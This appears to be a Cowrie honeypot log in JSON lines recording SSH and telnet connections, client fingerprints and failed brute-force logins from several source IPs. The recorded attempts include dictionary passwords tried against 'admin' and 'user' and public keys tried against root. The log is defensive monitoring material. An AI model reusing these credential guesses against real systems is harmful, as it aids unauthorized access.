{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:27.846160Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"emanuela","message":"login attempt [admin/emanuela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:28.326196Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":56592,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7dcb674a569","protocol":"telnet","message":"New connection: 38.41.2.225:56592 (10.17.0.5:23) [session: a7dcb674a569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:29.023849Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"email","message":"login attempt [admin/email] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:29.430856Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"elizabeth1","message":"login attempt [admin/elizabeth1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:30.536411Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"elfstone","message":"login attempt [admin/elfstone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:31.642661Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"el546218","message":"login attempt [admin/el546218] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:32.748238Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:33.853101Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14435,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e70bc7af34","protocol":"ssh","message":"New connection: 2.57.121.25:14435 (10.17.0.5:22) [session: 47e70bc7af34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:35.503942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:35.510029Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:35.607214Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ianian","message":"login attempt [user/ianian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:36.064065Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hotty","message":"login attempt [user/hotty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:37.163808Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209712982178,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:38.143230Z","src_ip":"190.246.190.125","session":"10e06a6ae3d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"hotsauce","message":"login attempt [user/hotsauce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:38.263387Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hometown","message":"login attempt [user/hometown] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:39.363545Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"holahola","message":"login attempt [user/holahola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:40.462941Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":60044,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b1159f764ca","protocol":"telnet","message":"New connection: 190.246.190.125:60044 (10.17.0.5:23) [session: 5b1159f764ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:40.924126Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:41.563201Z","src_ip":"2.57.121.25","session":"47e70bc7af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00362372398376,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:43.857944Z","src_ip":"190.246.190.125","session":"d74730dc00d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":57340,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6ef67f6a71f","protocol":"ssh","message":"New connection: 103.75.71.22:57340 (10.17.0.5:22) [session: a6ef67f6a71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:53.712877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:53.717798Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:53.845272Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:ae:6d:fa:af:ca:7e:fe:d2:62:c5:d2:08:78:a1:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCirig+BgGApnHKn0k8m6my0Ckfjv18A55gnm1nOANo5jDrCrCCKiNWCzizjNplkDJErGaj7vhie9Kir6XOAPItJc75EPa2tvRNpZGnIn6f7UaXE52NJ1L/kQwkxDyhbIWZWy5qgLni2JUEcPDNR3FLBPhef8ylAIymPyG9BJI2/gzwSHthTiU8/TZ7HsLVyjloFXvzEq3VZ0B2BaeNMcanX+dvEHo7RRh6d2F7KrGT09iLe3MSOIB0FLG4l4N173mCjT3uDU/Z1GI957lANfFqjC60YLeAeewtfRfM4FaChpmTB70P+DziMAWSuh0id8hmdKPGCCuP+5ZB4jPKUnQV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:ae:6d:fa:af:ca:7e:fe:d2:62:c5:d2:08:78:a1:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.445416Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:ae:6d:fa:af:ca:7e:fe:d2:62:c5:d2:08:78:a1:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCirig+BgGApnHKn0k8m6my0Ckfjv18A55gnm1nOANo5jDrCrCCKiNWCzizjNplkDJErGaj7vhie9Kir6XOAPItJc75EPa2tvRNpZGnIn6f7UaXE52NJ1L/kQwkxDyhbIWZWy5qgLni2JUEcPDNR3FLBPhef8ylAIymPyG9BJI2/gzwSHthTiU8/TZ7HsLVyjloFXvzEq3VZ0B2BaeNMcanX+dvEHo7RRh6d2F7KrGT09iLe3MSOIB0FLG4l4N173mCjT3uDU/Z1GI957lANfFqjC60YLeAeewtfRfM4FaChpmTB70P+DziMAWSuh0id8hmdKPGCCuP+5ZB4jPKUnQV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.449088Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:a3:87:ae:71:3a:04:58:38:b7:1d:6b:18:58:aa:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5fU7ieS9MrmTwd3OeluHkW/OWV7SpLQ/Ub45nU7w50Wn28CWevv2+j9gXYsFbjpIGKpqXBL/GFzKyeFqeCbJq13prhsHfkg0PRW9eXJFg+2vKu3At4IaFJvUClj0VkakugmupLq5SVitrGKQBFkF0JNXjnS3no80uJiRTYPJQrqoj+z9Gy1NrXTmU35wfo4mwAL1mPufQUOew0JTPGkiG4X08Fn5+DYxOB1E45WZJlKvWF3hqVxDF+Bek4msmiPCpjIQbLUOAVsxkHyU0k7iIN2l2WJzqPYCKaoh9dVrEee5FILNYUPAq4QnYMuX2S8L2KAVc8QTc6IUONPuyHQX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:a3:87:ae:71:3a:04:58:38:b7:1d:6b:18:58:aa:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.574537Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:a3:87:ae:71:3a:04:58:38:b7:1d:6b:18:58:aa:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5fU7ieS9MrmTwd3OeluHkW/OWV7SpLQ/Ub45nU7w50Wn28CWevv2+j9gXYsFbjpIGKpqXBL/GFzKyeFqeCbJq13prhsHfkg0PRW9eXJFg+2vKu3At4IaFJvUClj0VkakugmupLq5SVitrGKQBFkF0JNXjnS3no80uJiRTYPJQrqoj+z9Gy1NrXTmU35wfo4mwAL1mPufQUOew0JTPGkiG4X08Fn5+DYxOB1E45WZJlKvWF3hqVxDF+Bek4msmiPCpjIQbLUOAVsxkHyU0k7iIN2l2WJzqPYCKaoh9dVrEee5FILNYUPAq4QnYMuX2S8L2KAVc8QTc6IUONPuyHQX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.578534Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:a9:44:9f:ce:e2:34:67:42:3f:bb:d6:b0:77:30:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPw+tITw9kOE066LOnnH+/44rl1eEFpbKLWVXp9P6747QH4mus9d8Vvh3RYdIYcwlICQs+i46lERoqhYWS14fk/BMh26HO0BLoN2OLedCHZv4vJ2xSavAk2hmhLzOegfWSaLsv4IepC3fW85uhvXeC70NzmSk4M3d/3BkcoDHrdj0iRlXpRFXUGHuiq3YGWQGJtau7/a51YUFEIpgbYRjMAwXJVSjf8DZnNGsoBiHeSpEVZT7OlTxCEWohKMabUaZlPPlZxFUAXZ44EOs3bJRf+btB0JsjXNI4E9XSAhPk+Wfpi4IKcfk52C0bG253peN97KU4CHjtNHdxXSXddMXGWS1/DKfiliml4cZpPVXfWRvZSc5vJeyMQg96qSBmCNHSNtvDUdhLqUblytt8p2TBFdeMOSAEUzo84QzvZFp96XB2CO6sMUFTGob4DkEya9HI8nG9PekgTc1sOt/NAbffogXhd5M9VMMyu06m5b3QPp86slRP6Z1wfVdnaSWL0Ks=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:a9:44:9f:ce:e2:34:67:42:3f:bb:d6:b0:77:30:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.704139Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:a9:44:9f:ce:e2:34:67:42:3f:bb:d6:b0:77:30:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPw+tITw9kOE066LOnnH+/44rl1eEFpbKLWVXp9P6747QH4mus9d8Vvh3RYdIYcwlICQs+i46lERoqhYWS14fk/BMh26HO0BLoN2OLedCHZv4vJ2xSavAk2hmhLzOegfWSaLsv4IepC3fW85uhvXeC70NzmSk4M3d/3BkcoDHrdj0iRlXpRFXUGHuiq3YGWQGJtau7/a51YUFEIpgbYRjMAwXJVSjf8DZnNGsoBiHeSpEVZT7OlTxCEWohKMabUaZlPPlZxFUAXZ44EOs3bJRf+btB0JsjXNI4E9XSAhPk+Wfpi4IKcfk52C0bG253peN97KU4CHjtNHdxXSXddMXGWS1/DKfiliml4cZpPVXfWRvZSc5vJeyMQg96qSBmCNHSNtvDUdhLqUblytt8p2TBFdeMOSAEUzo84QzvZFp96XB2CO6sMUFTGob4DkEya9HI8nG9PekgTc1sOt/NAbffogXhd5M9VMMyu06m5b3QPp86slRP6Z1wfVdnaSWL0Ks=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.708205Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:32:4b:64:f4:d7:ca:6c:4d:57:5b:72:28:c9:13:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn0ez9NqUkrxLeDun8zfn1/yBMBpQhRB8Tpp+djOJB3kvFHbOJ22bs8aMnStOeHNF7AcNrR01KMzCnMpEVqEFG8s8mQACBzibzeumwcmLkU+nsZgc92ijZI02XYAdPEJ1QLRjswrnLXH2U3VjjmsYE4eQa3e505To7w0vcVzI20ZxWwHADVEXDk/iFUufCnbqU0yMqopuEunOU3n6oM/vlinaDZVV0AHFZlB/2GVRgiGBx1fTzQ6psHPOudIpjBu6pxgp8HpDoVd9MLz4v7G0ar2wreQackW0QuuUAisUXJpI1Sr8YhJ6VwXDWQbqJH6AomHPH6NVS7yP/7AYnE6EB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:32:4b:64:f4:d7:ca:6c:4d:57:5b:72:28:c9:13:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.834200Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:32:4b:64:f4:d7:ca:6c:4d:57:5b:72:28:c9:13:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn0ez9NqUkrxLeDun8zfn1/yBMBpQhRB8Tpp+djOJB3kvFHbOJ22bs8aMnStOeHNF7AcNrR01KMzCnMpEVqEFG8s8mQACBzibzeumwcmLkU+nsZgc92ijZI02XYAdPEJ1QLRjswrnLXH2U3VjjmsYE4eQa3e505To7w0vcVzI20ZxWwHADVEXDk/iFUufCnbqU0yMqopuEunOU3n6oM/vlinaDZVV0AHFZlB/2GVRgiGBx1fTzQ6psHPOudIpjBu6pxgp8HpDoVd9MLz4v7G0ar2wreQackW0QuuUAisUXJpI1Sr8YhJ6VwXDWQbqJH6AomHPH6NVS7yP/7AYnE6EB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.838376Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:fa:0d:fc:68:32:a8:5e:b5:a1:d3:7f:59:fe:94:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjVlEnfv6gevUwaqmkkotemheW/rAaL+85SakDjLSVC+wqkWdhtyZHaYMqF5Cx2M2Wg4WUNrpKXhLoT5PEQFYk03iv4SLmU8h3sVIMjTd6W93mZJ5zxWixKA0fr1+FMOpdFTzbshYtSlpPjKlp98YYaFPYqAI80Zuog6e7fiQwQmirY4OglyTBS2IfgwD51DlgebesDxY836l/ssU/wYP2u/rPtAFBsI8rZ/QDrcPti5pb69+UA3NyagRI2vL/NtwFq/yiHj7jN1npy/xyp2pPqWlEQn6ZvY/ytXCo7lquPo/a1aHf9mdzBknOBvKtzG7KruRFkyf+RGhRmyKqiCor","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:fa:0d:fc:68:32:a8:5e:b5:a1:d3:7f:59:fe:94:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.969279Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:fa:0d:fc:68:32:a8:5e:b5:a1:d3:7f:59:fe:94:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjVlEnfv6gevUwaqmkkotemheW/rAaL+85SakDjLSVC+wqkWdhtyZHaYMqF5Cx2M2Wg4WUNrpKXhLoT5PEQFYk03iv4SLmU8h3sVIMjTd6W93mZJ5zxWixKA0fr1+FMOpdFTzbshYtSlpPjKlp98YYaFPYqAI80Zuog6e7fiQwQmirY4OglyTBS2IfgwD51DlgebesDxY836l/ssU/wYP2u/rPtAFBsI8rZ/QDrcPti5pb69+UA3NyagRI2vL/NtwFq/yiHj7jN1npy/xyp2pPqWlEQn6ZvY/ytXCo7lquPo/a1aHf9mdzBknOBvKtzG7KruRFkyf+RGhRmyKqiCor","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:54.973360Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:55.099202Z","src_ip":"103.75.71.22","session":"a6ef67f6a71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.06547546386719,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:29.089192Z","src_ip":"38.41.2.225","session":"a7dcb674a569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"695079356aad","protocol":"telnet","message":"New connection: 38.41.2.225:38904 (10.17.0.5:23) [session: 695079356aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:33.445392Z"}
{"eventid":"cowrie.session.closed","duration":120.00648427009583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:40.930499Z","src_ip":"190.246.190.125","session":"5b1159f764ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":42894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c68bd9b33a4b","protocol":"telnet","message":"New connection: 190.246.190.125:42894 (10.17.0.5:23) [session: c68bd9b33a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:44.697125Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":43496,"dst_ip":"10.17.0.5","dst_port":23,"session":"799d355377aa","protocol":"telnet","message":"New connection: 190.246.190.125:43496 (10.17.0.5:23) [session: 799d355377aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:50.874146Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":44256,"dst_ip":"10.17.0.5","dst_port":23,"session":"5665a3b72342","protocol":"telnet","message":"New connection: 190.246.190.125:44256 (10.17.0.5:23) [session: 5665a3b72342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:57.034247Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":39342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9184b3dc6a62","protocol":"telnet","message":"New connection: 167.71.238.254:39342 (10.17.0.5:23) [session: 9184b3dc6a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:55:57.839280Z"}
{"eventid":"cowrie.session.closed","duration":10.7661771774292,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:56:08.605318Z","src_ip":"167.71.238.254","session":"9184b3dc6a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":36490,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c68125bd03f","protocol":"ssh","message":"New connection: 108.181.2.243:36490 (10.17.0.5:22) [session: 0c68125bd03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.474849Z"}
